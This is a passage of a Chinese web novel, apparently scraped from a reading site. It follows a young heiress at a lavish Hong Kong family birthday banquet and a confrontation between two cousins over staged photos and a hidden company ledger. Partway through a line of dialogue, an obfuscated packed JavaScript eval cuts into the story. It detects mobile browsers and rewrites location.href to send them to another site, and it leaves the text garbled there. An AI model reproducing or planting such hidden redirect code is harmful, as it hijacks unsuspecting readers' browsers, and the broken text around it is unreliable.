虽说今天是余萧泽的生日,他才是整场活动的中心人物,但不用想也知道,待会一进场,还不定要有多少打量的目光落到她身上,照片被媒体挂在网上被人评头论足就已经够难为情的了,现在人也要进入舆论漩涡任人家窥探吗? 曹旸似是看出了她心中所想,安慰道:“小姐不用害怕,我就在你身边。” 小初感动地看她一眼:“我不是害怕,就是觉得好麻烦,你知道的,我就不是一个热衷社交的人。” “是。” 小初又说:“陪着我倒没必要,今晚来了这么多大人物,里面的安保肯定是顶级的了,你自己找地方吃吃喝喝把自己照顾好就行。” 曹旸没置可否。 正聊着天,有人似是认出了她,远远就主动打起了招呼,“方小姐?真是幸会,没想到你本人比照片上还要漂亮!” 小初根本不认识对方是谁,幸而曹旸在背后小声提醒:“港城证券的三小姐,姓钟。” “你好,钟小姐,你太过誉了。”小初弯起眼角,从善如流地和对方握了握手。 “还不进去吗?” 小初笑:“我等人。” “好,一会儿聊。” “好。” 小初长松口气。待那人走远,她才佩服地转向曹旸:“你怎么这么厉害,连她都认识。” 曹旸笑:“只是提前做了点功课,我们这行,相当于贴身秘书兼保镖,仅略懂点拳脚,肯定是没办法做到顶级的。” 为了配合晚宴的风格,曹旸今天也稍微打扮了一下,只不过她的气质更偏中性一些,收腰的黑色连身裤配利落短发,再加之她偏凌厉清晰的脸部线条,美得雌雄莫辨的。 小初忍不住说:“曹旸姐,你好帅啊,而且是很斩女的那种帅,今晚不定有多少小女生会爱上你。” 曹旸淡淡看她一眼:“我明年春天就结婚了。” “哈?”小初震惊至极:“你有男朋友了?什么时候的事,我怎么都没听说?” “他啊,是我之前的战友,我们俩谈了快六年了。”曹旸的神色难得有些难为情,“不说他了,我们快进去吧。” 小初点头,但一边走还一边在感慨,“六年!什么感觉?” “感觉……跟热恋期差不多吧,主要这几年他一直在国外执行任务,我们俩聚少离多,一年到头也见不上一两面。” 原来如此。 小初沉思了几秒,“这倒是个爱情保鲜的好办法。”又想起接下来几年自己和余萧弋可能面临的分别,“如果是这样,我可能就没那么分离焦虑了曹旸姐。” 曹旸摇摇头:“能在一块还是尽量在一块吧,我这个是不得已而为之,但人嘛,总有脆弱和寂寞的时候,那个时候身边没有爱人陪伴,很难熬的。” 小初惊奇,“曹旸姐你这么坚强的人,也会脆弱和寂寞吗?” 曹旸苦笑:“当然。我上次在任务中受伤,一个人在床上躺了三个月,差点抗不过来。” 小初拍了拍她的手,说不出话了。 进了内场,还隔着很远,她就看见了正和萧文然热络招待宾客的余萧弋。 同样是一身黑,他却穿出了和余珺彦完全不同的气质,余珺彦是成熟冷峻,他则多了几分张扬和不羁,西装里面的V字马甲下,竟是完全的镂空,没有衬衫领带,取而代之的是一条很闪的满钻项链,随着他微微点头和宾客说话的动作,流畅的线型尾端不停在锁骨下方荡漾着,只一眼,小初就红了脸。 才一天多没见,他就已经陌生到她不敢直视了。 还是萧文然先看见了她,春风满面地迎上来将她拥在了怀中,“哎呀,小方太初,稍微打扮一下阿姨都不敢认了,这也太美了吧,女娲娘娘是不是把捏世人的时间都省下来捏你一个人去了。” 小初越过她肩膀,咬唇看了眼终于发现她的余萧弋,目光相触的瞬间她就别开了视线,脸上红了一片。 “阿姨,你夸得我都不好意思了。” 萧文然今天穿的也是一身黑色的晚礼服,在头顶水晶灯的映照下,礼服隐隐泛着流光,更衬得她从耳垂到右手无名指一整套的翡翠首饰无比清透莹润,贵不可言。 “这有什么不好意思,阿姨说的都是实话。”萧文然放开她,又仔仔细细将她看了一遍,眼底都是明晃晃的喜欢,“你大姑姑从前几天飞机落了地就一直念着想见你呢,Theo开玩笑说才不给她看,万一看化了怎么办?可是今天这个场合,不给看恐怕是不行了,不止她一个,还有太婆啊,外公外婆啊,以及好多好多其他的人,阿姨待会带你一一认识。你可一定要坚强,千万别给看化了,不然Theo肯定要找我算账的。” 她这样说,小初实在不知道该说些什么,只能求助似的看了眼一旁的余萧弋。 “好了妈,这里是风口,别把她吹着了。”余萧弋笑着朝小初伸出手,“走吧,我带你进去。” 小初哪敢当着萧文然的面牵他的手,只能顺势解下身上的羊绒披肩递给身后的曹旸,嘱咐道:“麻烦你了曹旸姐。” 曹旸接过。 余萧弋叫人过来带曹旸去挂衣服,又说小初他会亲自照顾,就不需要她陪在身边了,一会儿工作人员会帮她安排好座位,请她自便,玩得开心。 曹旸没动,直至看见小初点了头,才跟着工作人员离开。 解开披肩的小初一整个纤薄又白皙的后背顿时暴露在空气中,冷得她一颤。 萧文然说:“少女的礼服果然还是要少女穿,真的太好看了。” 余萧弋的目光在她背后凝了一瞬,下一秒已经悄悄在底下捉住她的指尖,见她想躲,他干脆用手掌将她整个包裹住,让她无处可逃。 刚好有别的宾客正从外面走来,他赶紧趁势说道:“妈,那我们进去了。” “好,去吧。”萧文然笑意温柔,目光滑过小初的脸,才注意到她空落落的耳垂,疑惑地问道:“小初,耳饰怎么没戴?” 小初神色不自然地一僵,马上又笑着解释道:“在包里,我嫌坠得慌,想着一会儿再戴。” 萧文然点点头,没再说什么。 两人走了几步,余萧弋才情难自禁地贴着她耳朵说了句:“你今天好漂亮。” 小初只觉得耳边有阵热风拂过,半个身子都被生理性的红晕覆盖,嗔道:“你想好了再说话,平时难道就不漂亮吗?” “平时当然也漂亮,但今天,不一样。” “哪里不一样。” 余萧弋认真解释:“平时是想看你也就看了,今天却不知怎么有点不敢看,生怕自己的目光冒犯了你。” 小初微微偏头看了他一眼。 很想说:“你也是。” 但她忍住了,只任腰上与他衣袖摩擦带来的奇异感觉顺着脊背不断攀升和蔓延着。 内场舞台上正在表演钢琴四重奏,小初不经意看了一眼,顿时有点吃惊,问余萧弋:“我没看错吧?钢琴前坐着的,是前一段时间刚获得格莱美的华人钢琴家赵宗颐?” “嗯。”他轻轻点头,“仔仔喜欢他,又刚好我的钢琴老师认识他。” 小初低声:“好大的手笔。” 余萧弋轻叹口气:“希望他成年了能懂事一点吧。” “我看他在艺术上还蛮有天分的,怎么开始没有让他往那个道路发展呢。” “你不知道,他没长性,学什么都坐不住凳子,爷爷奶奶又宠,说我们家的孩子又不吃艺术这碗饭,何必那么苦?到最后就什么都只学了个半桶水。” 小初笑:“那就没办法了,只能等他自己开窍了。” 两人朝座位走去。 一路上,果然吸引很多肆无忌惮打量的目光,除了极个别意味不明的,大多数人倒都是一副对金童玉女的美好爱情乐见其成的模样,脸上的姨母笑荡漾得到处都是,有和他相熟的,早开起了玩笑,说着什么“男才女貌,甜到漏糖,好登对”之类的话。 余萧弋一张脸笑到快要烂掉,不停跟人家说着“多谢”,虽不是故意,却也真的一不小心抢走好多风头。 小初羞得差点找个地缝钻进去,直至和他坐到座位上,整个人还像刚被焚过一样热。 今天是正式的圆桌宴,冷菜已经陆续上了桌,根据菜单,小初推断出今天的宴请规格应该也是顶级的,绝非一般华而不实的西式晚宴可比,看得出余家对孩子是真的很宠了。 一坐下,铭仔就朝他们挤眉弄眼地打趣道:“今天到底是Enzo的生日宴还是二位的订婚宴啊,还没吃饭,我就已经被狗粮撑到了。” 余萧弋指了指门口方向,“那你可以出去了。” 铭仔懒得理他,直接凑到小初身边来,热络地和她聊起来:“方太初,你藏得也太深了,要不是媒体报导,我是真没敢把你往千金大小姐的身份上联想,但知道你是以后,我真的比谁都开心。” 小初笑:“先说好,我可没藏,就我这气质,你看不出来纯属你眼拙。” 铭仔好脾气地,“OK啦,是我眼拙。” 小初又问他:“怎么你就比谁都开心了?” “我当然开心了!黄亦玫那样的女神总算没有跟穷男人吃苦,这是一件多么令人欣慰的事!不然我总觉得心疼。” “……”小初默然半晌,才没好气骂他:“你是哪根葱啊,轮得着你心疼吗?” 铭仔眨眨眼,“嘿嘿,我哪根葱也不算,但我就心疼。” 小初学余萧弋指了指门口:“你可以出去了。” 大家都笑。 池咏珊说小初:“方太初,你早该像今天这么打扮了好不好?这才是大小姐该有的样子啊。其实也不怪我们眼拙,实在是你平时穿得太素了,还记得第一次见面时候你穿的那条裙子吗?如果我没看错的话,肯定不超过两千块钱吧?” 小初义愤填膺:“你别污蔑人,那条裙子四百多美金呢,还是折扣季买的,原价肯定更贵。” 池咏珊送了她一个无语的眼神。 陈嘉言大笑:“我倒不关心裙子,我关心的是,Theo对你做什么了,怎么饭还吃完,你就顶着台风逃了。你都唔知,Theo差点因此发疯,我们从小一块长大,就从没有人见过他那副样子。然后最莫名其妙的,他还把我们所有人都骂了一顿,说都是因为我们没表现好才把你吓跑的。天地良心,我们做什么了?这幸亏是他后来找到你了,不然我们这群朋友,这辈子都别想从他的黑名单里出来了。” 余萧弋瞪她一眼:“你好啰嗦。” 铭仔也说:“你还不认?忘了当初怎么胁迫我们帮你追查她的下落了?阿骢还帮你去求了他在交通署的叔叔呢,费了好大周折才联系到那个把她从绮丽载走的计程车司机。” 陈嘉言有些疑惑,“还有这事?那怎么当时没找到?” 铭仔幸灾乐祸,“你有所不知,方太初中途又换了车,反侦察意识这么强,明显就是不想再跟他有任何瓜葛嘛,想不到都这样了,竟然还能被他追到手,我只能说,方太初人生注定有此一劫。” “你给我闭嘴。”余萧弋忽地起身,走到铭仔身边,从背后对他做了个锁喉的动作,“再胡说就把你打晕了扔出去。” 对面的阿骢却不干了,“Theo余,这怎么能是胡说呢,我叔叔后来帮你查她中途下车地点附近的监控录像时,还差点因为程序问题被上级约喝茶你忘了?害我也被他大骂一顿,真是无妄之灾。要我说,你们两个以后有事能不能私下沟通解决,别伤及无辜。” 余萧弋没好气的,“你也出去。” 阿骢大笑:“忘恩负义!” 陈嘉言:“重色轻友!” 池咏珊:“谁还记得他后来万念俱灰要死不活的那副模样?我长这么大才知道,原来人是真的可能患相思病死掉的,之前还以为是书上乱写的。” 小初也是第一次听到这些,一时也不知自己该作何反应,只是怔怔的。 余萧弋转向她,歉然地抿抿唇,“你别误会,我当时只是想找你问个清楚,我到底哪里做错了而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789179|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已,就算死,也要死个明白,并不是想骚扰你。” 陈嘉言问:“所以方太初当时真的是为了甩掉他才换的车吗?” “那倒……不是。”小初为难地解释道:“是我把目的地的地名弄错了,等发现时候已经走了很远了,那个司机急着下班,我就只能换辆车了。” “……” 现场几人都陷入了沉默。 “真的吗?”余萧弋有些难以置信。 “好啦。”铭仔撇撇嘴,“她从来没有那么讨厌过你,现在开心了吧?” 阿骢却想到另外一层:“完了,Theo又要碎了,他马上就要发现他对人家根本没有他想象的那么重要了。” 几个损友都大笑起来。 台上的钢琴仍在流淌。 余萧弋坐回座位,果然有点受伤。 小初目光微微下移,落在他有些紧绷的手上,下一秒就覆住它,弯起了唇:“其实,分开的那一个月,我每天都有想起你的。” 损友们嗅到了八卦的味道,不约而同露出意味深长的微笑来。 他傲娇地看她一眼:“你少哄我。” 小初的神色极为认真,“没哄你,只是我这个人对自己一向比较狠,就算想,也能逼着自己戒断的。所以谢谢你Theo余,谢谢你锲而不舍找到我,让我不至于因为一时意气后悔一辈子。” 余萧弋愣住,继而红了眼。 铭仔大呼受不了,并警告他们再这么肉麻,就到别的桌去。 池咏珊说:“Theo又幸福了。” 阿骢:“热菜到底几时开始上,我想吃那道蚝皇南非鲍鱼很久了。” 陈嘉言:“你就知道吃。” “我在国外吃了几个月白人饭了,想吃鲍鱼已经算不上什么新闻了好吗,我现在胃口大的能吃人。”阿骢顿了顿,“但请记得红烧,最差清蒸保持原汁原味,喏,血一定要放干净啊,真的很受不了国外不放血的肉那个腥臊味。” 池咏珊摘了桌面上一朵花扔过去,“大佬!还要不要人吃饭了!” 几人正笑闹着,一个中年美妇人已经到了桌边,拍了拍余萧弋的肩膀,“Theo,你小子,我早跟你说了女朋友一来就介绍给我认识,你敢不把大姑姑的话放在心上?” 小初一听立刻红了脸,紧张地起了身。 她早在余萧弋和余珺彦的只言片语中听过余芃芃的大名,却不敢说自己真的了解她。 只知她最有名的那段感情史,是插足自己导师的婚姻,最后心灰意冷远走他乡。 今日一见,她实在没想到大家口中那个倔强任性为情所困的少女有天也会变成眼前这个珠圆玉润爽朗愉快的模样。 她身上,拥有着余家人很稀缺的一种没心机的幸福感,很有感染力。 余萧弋给两人做了介绍,小初赶紧问了好。 余芃芃抓住她的手,不停感慨着,“世上竟真有如此漂亮美好的人。” 小初不敢接话。 铭仔说:“大姑姑要是见了她妈妈,估计就会改口,她一定是被她爸爸拖了后腿了。” 小初瞪他一眼。 余芃芃大笑,“不急,只要是我们家的媳妇,她妈妈我早晚也见得到。” 小初感觉自己快碳化了。 转眸过去,却发现余萧弋正温柔如水看着她,眼神痴得像明天就能娶她了似的。 越过他的身影,却对上余珺彦似笑非笑朝她举了举杯子,仰头间,小半杯红酒已在喉结起伏中被吞入腹。 她即刻看向别处。 余萧弋捕捉到了她的异常,迅速转过头去,却也只来得及看见余珺彦和杨敏之正在碰杯对饮。 余芃芃牵起小初的手,亲切地说道,“来,跟姑姑到那边坐会,介绍姑丈还有小表妹和小表弟给你认识。” 她这么说,小初也没法拒绝,只能跟她离了席。 余萧弋紧随其后。 余芃芃说的正是余珺彦所在的那桌,小初一到,杨敏之就投过来一个冰冷锐利的眼神,似是要将她刺穿。 小初权当没看见,只温柔明朗地和余萧弋介绍到的每个人都打了招呼问了好。余芃芃的外国老公很绅士也很顾家,大家说话聊天的时候都是他在不厌其烦照顾两个小孩。 除了余芃芃一家和余珺彦,这桌倒没有余家其他核心人物,小初四处看了看,发现他们都在各个桌子陪重要客人呢。 大厅内的音乐突然换了个更欢快的节奏,热菜终于开始上桌。 余萧弋说:“大姑姑,人也给你看了,总肯放我们回去吃饭了吧?” 余芃芃心满意足,“好,先去吃饭,千万别把小美人饿瘦了,她现在的身材刚刚好,该纤细的地方纤细,该圆润的地方圆润,再瘦,可就没有这个娇憨的味道了。” 被当着这么多人指点身材,小初实在难以接受,连耳垂都红透了,立刻递了个眼神过去给余萧弋,示意他赶紧走。 余萧弋会意,正待过来拉她的手,却生生被一人打断。 一身银色西服,胸前别着冰糖宝石胸针的余萧泽不知从哪里跳了出来,上来就一把拉住了小初的手,“姐姐!你什么时候来的,我找你好半天了。你跟我来一下,我有话跟你说。” 余萧弋蹙眉,“都吃饭了,有什么话非要这会说?” “求你了哥,就说几句,我保证,马上把她还给你。” 造型浮夸又贵气的豪门小少爷扁了扁嘴,顿时又回到了小孩子模样,余萧弋瞪了他一眼,到底没再说话。 今天好歹是他生日,小初也不太想落他面子,于是无奈问道:“想说什么?” “哎呀,你跟我来就知道了。” 她只好任他拉着手朝大厅侧门走去。 余珺彦放下酒杯,神色不明地看了小初的背影一眼,才浅笑着喊了声余萧弋的名字,“Theo,我也有几句话想和你说,要不要也跟我出去一下?” 余萧弋还没说话,那边余芃芃却蹙了蹙眉,“怎么一个两个有话都不提前说,偏等吃饭了才说?” 余珺彦漫不经心的,“只是才想起来。” 余萧弋自然没兴致跟他聊,于是直接拒绝,“算了吧哥,我饿了,先吃饭吧。” “耽误不了你几分钟。”余珺彦闲闲的,下一秒,已直接起身走到了他身边,并揽住了他的肩,“走吧。” 余萧弋的气场瞬时冷了下来,“你什么意思?” “没什么意思。”余珺彦的声音极轻,在只有他们两人可以看到的角度用指腹轻轻摩挲了一下那只粉色蓝宝石的耳饰,“现在,可以聊了吗?” 余萧弋的眸子瞬间充了血。 80.第 80 章 为了避免遇上宾客,两人特地走的特殊通道,却没想到还是在客房部的行政电梯间,迎面撞上了余蓁蓁和秘书。 本来,余萧弋和余珺彦正一前一后站着,谁都没说话。 这会儿,却也不得不规规矩矩站好,异口同声喊了句:“姑姑。” 余蓁蓁一改平日的犀利干练,一袭银白色流光晚礼,头发挽在脑后,妆容精致,脖子上蛇形的满钻项链个性十足,衬得她光芒四射,又有种说不出的妩媚和性感。 看见他们,她也很意外,“你们怎么出来了?”她看看表,“里面宴会已经开始了吧?” 余萧弋脑子里千头万绪,声音嘶哑得简直像不是从他身体里发出的,“刚开始,我出来拿点东西。” 余蓁蓁若有所思地看他一眼,又越过他看向后面的余珺彦:“那你呢Jeo?” 余珺彦无所谓地耸了耸肩,笑得魅力非凡,“我陪同。” 余蓁蓁眯了眯眸子,不动声色地递过去一个眼神,秘书立刻会意,微微颔首大步退到了几米开外。 而后,她的表情才逐渐变得严肃,“到底什么事?你们两个都是我看着长大的,有什么瞒得过我?尤其是你,”她直直看向余萧弋,“什么情绪都挂在脸上的人,本来全家都高高兴兴的日子,你一副被人欠了几个亿的模样是要给谁看?别忘了,你姓余,今天就算真被人从背后捅了一刀,捅出几个亿的窟窿来,你也得给我咬牙撑着,脊骨绝不能塌下去,不仅不能塌,脸上还得面带微笑,日子还那么长,总有你找回场子的那一天,慌什么?” 外界总说,余绍鸿几个子女,就属四小姐余蓁蓁最有格局和魄力,这些年要是没有她几次力挽狂澜,余家早步了其他几个老钱家族的后尘,逐渐走向没落了。 甚至有人猜测,余绍鸿抓着她不放,不肯她外嫁也不招婿,无非就是想要她把一辈子都奉献给余家,为孙子们铺路呢。 连余萧弋的朋友们有时候都开玩笑说:“Theo,在你们家,你爷爷奶奶疼谁根本不重要,你小姑姑疼谁,那才是朝培养继承人的方向去的呢,全港谁不知道,余家这一代,真正在她膝下长大的那个,也就一个你,要不怎么大家都传你是她的亲儿子呢。所以啊,你那个堂哥,根本不足为惧。” 关于继承人的问题余萧弋倒是没有细想过,但余蓁蓁对他的疼爱却是半分都没有掺假。 所有小辈中,也的确是他与她最为亲近,连带着他的性格和行事方式都有几分像她,不然他怎么会没事总往绮丽跑,哪怕只是陪她聊几句天喝喝下午茶。 所以,没有人比他更清楚,余蓁蓁其实很少用那么重的语气和他说话,可见,他刚刚的脸色应该是已经难看到一定程度了。 她也没骂错他。 在看到那只粉色蓝宝石耳饰的那一刻,他就已方寸大乱,若不是余蓁蓁这番话,他真的不知道自己会做出什么事来。 思及此,余萧弋神色一凛,头脑总算恢复了几分清明,“我错了姑姑。” “我们余家的男人,绝不能被人家牵着鼻子走。” 余萧弋咬了咬唇。 余蓁蓁恨铁不成钢地瞪他一眼,再次将目光转向余珺彦:“你呢?Jeo?” 余珺彦微不可察地挑了挑眉,“我不明白姑姑。” 余蓁蓁眸色如刀,“你别跟我说你真是上楼陪同他拿什么东西的啊。” “确实不是。”余珺彦笑,“其实是我们之间有点私事,宴会厅那边人太多,有些话不太方便说。” 余蓁蓁哼冷一声,“哦?什么话?你们兄弟间能说的话,想必我也能听吧,不妨现在就说出来,我帮你们出出主意。” “我不知道啊。”余珺彦一脸无辜,“是Theo有话同我说,至于这话姑姑你能不能听,得问他。” 而后他又笑:“姑姑该不会是在担心我欺负Theo吧?那你大可以放心,Theo长大了,无论智力还是体力显然我都不占什么上风了。” 余蓁蓁冷笑,“你这说的什么话?都是侄子,手心手背都是肉,难道非要我偏心哪一个?是,自你高中去国外求学,到后面工作,这十几年我们之间的确相处不多,但你也要想想,你比Theo大六岁,姑姑疼你的那几年,他还没有出生呢,这辈子,你永远都比他多得到六年的疼爱,不是吗?” 余珺彦眉宇间有片刻的动容,很快又化作一片漫不经心,“我开玩笑的姑姑,你这么认真解释,倒显得我心思重了。” 余蓁蓁直言:“你就是心思重,从小就很少直接表达自己的感受和需要,别人走一步就能完成的事,你要迂回七步,生怕被别人看穿你心中真正所想。生在咱们这样的人家,行事谨慎肯定是没错的,但凡事不要矫枉过正,否则,你都先立一面心墙在那,谁还愿意跟你坦诚?你当我们余家百年家业是只靠“利益”二字绵延下来的吗?生意想要做得久,做的还是“人心”。” 余珺彦不说话了。 余蓁蓁又看了看表:“有什么话,如果你们非现在说不可的话,就赶紧说,但我警告你们两个,不要搞事,无论是谁,一旦被我发现,绝不轻饶!你爷爷奶奶年纪大了,很多事早已力不从心,作为孙子,你们不能为长辈分忧也就算了,谁敢搞兄弟反目,明争暗斗那一套,就全部做好成为弃子的心理准备!余家枝繁叶茂,很多事,并不是非谁不可。哪怕你们一个都不争气,市场上也自有大把金牌职业经理人可选,你们好自为之。” 余萧弋和余珺彦都低下头去,说道:“知道了姑姑。” “半个小时内,给我滚回来。” “是。” 余蓁蓁带着秘书扬长而去。 余萧弋和余珺彦相视一眼,乘电梯直达酒店位于顶层的总统套房。 门一关,余萧弋就一把扯住余珺彦的衬衫领子,将他按在了墙上,眼风如刀:“说,你对她到底做了什么?那个东西为什么在你手里?” 两人的身高差不多,只不过余珺彦身材更健硕一些,余萧弋则更清瘦,更有少年感,但气势上,两人属于势均力敌,谁也占不到谁太大的便宜。 余珺彦此刻虽处于劣势,却丝毫不急,反而有种游刃有余的戏谑感,“怎么就非是我把她怎么样了呢?就不能是她把我怎么样了吗?你对你自己,就这么有信心吗?” 他话音一落,余萧弋就提膝朝他腹部猛烈撞击过去,但余珺彦似是早有防备,右脚同时向前迈一大步,借着他攻击的力量重重一推,就把他从自己身上推开了。 推开后他还一边整理领带一边左右活动了一下脖子,神情挑衅,“Theo,我劝你克制,真近身格斗,你未必是我对手。姑姑刚才可是说了,让我们好自为之呢,你难道真想两个人都身上挂彩出现在所有贵宾面前,丢尽余家的脸面吗?” “你别欺人太甚。”余萧弋胸膛起伏,未等他说完话,拳风已朝他下巴挥去,余珺彦猝不及防,吃痛向后倒去,下一秒,余萧弋已倾身向前,以半跪的姿势将他压在了身下,“那不如就试试,到底谁不是谁的对手。哥,你不在这几年,我也不是一点长进都没有的。” 余珺彦用拇指抹了抹嘴角的血迹,仍是笑,“的确是我小瞧了你。” 余萧弋说:“少废话,把那个耳饰拿出来。” “你说这个啊。”余珺彦从西装口袋里闲闲拿出那个闪着流光的宝石耳坠,眼神骤然变得温柔,“这个粉色,很衬她。” 余萧弋照着他的侧脸就又是一拳,可这次,余珺彦不打算吃亏了,头稍稍一偏,就躲过了他的攻击,余萧弋的拳头重重砸在地板上,若不是隔着厚厚的羊毛地毯,今天这只手,恐怕是非骨折不可了。 就在他怔愣的间隙,余珺彦已经趁势扯住了他的领子,失去支撑的他骤然向下一栽,就被对方一个缠抱反身锁在了下面。 “我说了你不是我对手的。”余珺彦轻笑,一只手将他双手死死固定在头顶,另一只手则动作很轻的,将那只耳饰放进了他西装胸前的口袋里,“物归原主。” 这无疑是更进一步的挑衅,余萧弋眸子里冒了火,却又动弹不得,只能问他:“你到底想怎么样?” 余珺彦挑了挑眉:“你竟看不出?” “你喜欢方太初?” 余珺彦一愣,继而笑着点点头:“当然,那天在船上我说了那么多方小姐的优点,你不是听到了吗?她那么优秀,人又漂亮,任谁都很难不喜欢吧?” 余萧弋嘲讽一笑,“是不是只要是我钟意的,你总要抢走?小时候是在长辈面前与我争宠,只要我喜欢的玩具,总会无缘无故消失,还有我养的那只叫雪儿的猫,到底被你弄到哪里去了?现在变成我喜欢的女孩子你也不肯放过了是吧?可方太初她不是个玩具也不是个小动物,哥你好歹也姓余,可不可以行事磊落一点,不要这么肮脏和龌龊!” 余珺彦眯了眯眸子,突然伸手用虎口钳住他的脸颊,“我抢你的?若不是你,我会从集万千宠爱于一身沦落到事事都要看人脸色?姑姑说我心思深,别人走一步我总要迂回七步,她怎么不敢承认她一直对我心存偏见,从一开始就区别对待你我?是,你命好,摊上一对正派又有能力的父母,而我,不仅父亲生活作风不正,屡屡给家里捅娄子,母亲更是英国军官和妓.女生的孩子,十几岁就出来为烂赌的母亲卖命,不停委身于各路有钱男人才能支撑一家人的生活。可这一切,难道是我的错吗?” 余萧弋第一次听见这些,不禁有些怔愣。但他很快抿抿唇,反问道:“那难道是我的错吗?” 余珺彦不理他,继续说道:“我原以为,两个姑姑小时候不肯亲近我,抱我,是因为他们本来就不喜欢小朋友,可后来你几乎是在她们膝盖上长大的我才明白,她们不是不喜欢小朋友,她们只是不喜欢我。有一次,大姑姑带了个男人回家,我不小心撞见他们亲热,结果反被她大骂,‘在那里鬼鬼祟祟做什么?舞女的儿子果然骨子里就是卑贱!’可那时候我才八岁,我懂什么?” 余萧弋说:“大姑姑年轻时候是任性妄为一些,但她现在肯定已经意识到自己错了。” 余珺彦红了眼睛:“那又怎样?伤害已经造成,就算一万句道歉也弥补不了了。” 余萧弋不语。 “为了自证我没有被另一半肮脏的血统影响到余家高贵的品质,我不得不付出比别人多百分之一百的努力,才能保证我一路成绩名列前茅,直至被世界名校录取。爷爷嘴上说,我们家的孩子不用太努力,实在不行花钱出去读也是可以的,但我看得很清楚,我拿到录取通知书的那一刻他有多么骄傲和高兴,也是那一刻,我才证明了我自己,全家人对我的态度,也因此而改观。可谁能想到呢……” 余珺彦的眼泪落下来,“Theo你偏偏也生得这么聪明,不仅成绩好,一路跳格进入G大,还读的数学专业,比我这个商科更证明智商,还有个讨喜的性格,轻而易举就博得全家的欢心,还可以肆无忌惮的表达自己的想法,喜恶。是,你磊落,你了不起,但我余珺彦,岂是你人生的替补?你不要的杨家联姻,凭什么要我帮你接着?就你的爱情伟大,神圣不可侵犯是吗?” 他顿了顿,继而冷笑,“前几天我听见爷爷和小姑的谈话,说是将来余家有你话事才最令人放心,因为你品行正,永远都不会做出背刺兄弟,背叛家族的事情,我倒要看看这次,你会怎么选。” 余萧弋顿时警惕起来,“你什么意思?” 余珺彦好整以暇地掏出手机,点开一个文件,递给他,“你自己看。” 余萧弋不明所以地接过手机。 视线聚焦的那一刻,他的手就一抖,差点砸到自己。 因为他看见,长长数页都是他的视角以外,方太初和眼前这个男人不为人知的动人故事。 在灯光迷醉的酒吧里,身穿短裙化着浓妆的方太初正随着音乐律动,而她的腰上,赫然搭着一只手,手的的主人,正是身穿白衬衫的余珺彦。 午夜的停车场里,车窗降下,她和他同坐在后排座位上,自然而亲昵。 人头攒动的机场里,在记者的闪光灯的包围下,她就站在他几米开外,默默和他一起等着国际航班。 某个不知名的加油站里,她一直等着他的到来,直至与他汇合,一行人才向城内进发。 那座小公寓的凤凰木下,她扯着他的领带,两人额头相抵,似是在低语什么。 台风来临前的如墨夜色里,他就在楼下等她回家。他余萧弋的车一开走,他就从黑暗里走了出来,并很快就和她一起上了楼,接下来的一天 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余珺彦从他身上缓缓站起,嘴角的笑容残忍至极,“Theo,我早说了,你不要对自己太有信心。” 余萧弋说不出话,那只耳饰从西装口袋里滑了出来,落在他的锁骨上,一片冰凉。 像是一个告别的吻,宣告着一段一厢情愿的感情无言的结局。 不知沉默了多久,他才轻轻开口,“你恨我,可你不该这么利用她。” 余珺彦挑了挑眉:“我承认,我很卑鄙。”顿了顿,他又笑:“可我也说了,我确实很喜欢她。” “你喜欢的不是羡如姐吗?” 余珺彦嘲讽地看他一眼,“男人的喜欢,又不止一种。是你太傻太天真,以为这世上还有什么纯粹的爱情。” 余萧弋蓦地看向他:“不,她只是被你利用了,这一切并不是真的。” 余珺彦只是笑,并不答。 直至看着地上的他失去了所有斗志,才缓缓开口,“这一切当然不是真的,你没听说过蒙太奇吗?”他笑出眼泪,“我说了,这世上不止你的爱情伟大,我爱阿羡,从来不输你爱方太初。” 说着,他就点开另外一份文件,把手机再次扔给了他:“这才是真相。” 余萧弋不太明白他想说什么,但还是不由自主将目光投了过去。 然后下一秒,他就从地上如弹射般坐了起来,眼睛红到吓人。 因为,在这一份文件里,方太初和余珺彦的故事从来就不止他二人,旁边还有曹旸,还有林佳宜和朱慧雯,甚至还有郭羡如本人,他和她之间也从没有什么情愫流动,相反,小初看向他的每个眼神,都写着强烈的不耐烦。 “你到底什么意思?” 余珺彦缓缓撸起衬衫的袖子,把那个已经结痂的伤口给他看,“我就是用这个,道德绑架的方太初。”他笑,“她很爱你,从来都忠于你一人,放心。” 余萧弋彻底愣住,向来聪明的大脑,也停止了运转,他已完全猜不透,余珺彦到底要干什么。 “你为什么要告诉我真相?” 余珺彦耸耸肩,“不知道,大概是方太初的真诚感染了我吧,我想保护她这份天真和真诚,不想她被这个世界刺伤。本来,我是没打算说的,毕竟,我其实并不是太希望你能拥有她这么一个强大的支撑和助力。但事情就是这样,总是不按照人最初的设定发展。” 余萧弋止住眼泪,终于没了耐心,“所以,你到底要我做什么?” 余珺彦沉默了半晌,终于敛起笑意,“我要五年前,余巍巍负责的那个高端楼盘项目的真实账本。” 余萧弋蹙起眉,“什么账本?你想要这些,不是应该去找财务部门吗?” “财务部的,当然是假的了。”余珺彦像是看一个天真的孩子,“你那时候还小,大概还不知道,爷爷为了保住他这个宝贝儿子,可是付出过很大的代价。” 余萧弋反应过来,“所以,如果真有一本真的账本,现在应该也不存于世了吧?” “未必。你爸妈手里一定有副本。” 余萧弋的身体,不受控地发起抖来。 余珺彦直视他,“你爸妈之所以现在还不拿出来,不就是因为爷爷奶奶还掌权,他们还想维持兄友弟恭的假象演给所有人看吗?既然这把刀迟早要拿出来用,还等什么呢?余巍巍在他所负责的所有项目上,都会给家里埋一颗定时炸弹,这样的人,留他干什么?最近那个医疗器械的事,已经死了几个无辜的人了?还有,你大概还不知道吧,他最近赌输的数目都不止这个。” 余珺彦竖起两根手指,“简直是个祸害。” “那是你爸。” “是吗?”余珺彦冷笑,“你不如说他是,杀人凶手。那些无辜的病人,还有,我母亲。” 余萧弋难以置信地瞪大眼睛,“什么?” “对,就是那次她精神恍惚闯到余家来看我被赶出去之后,没出一个星期,就莫名出车祸死了。”余珺彦眼睛红得吓人,连声音都在颤抖,“我这辈子,再也没机会叫她一声妈了。” 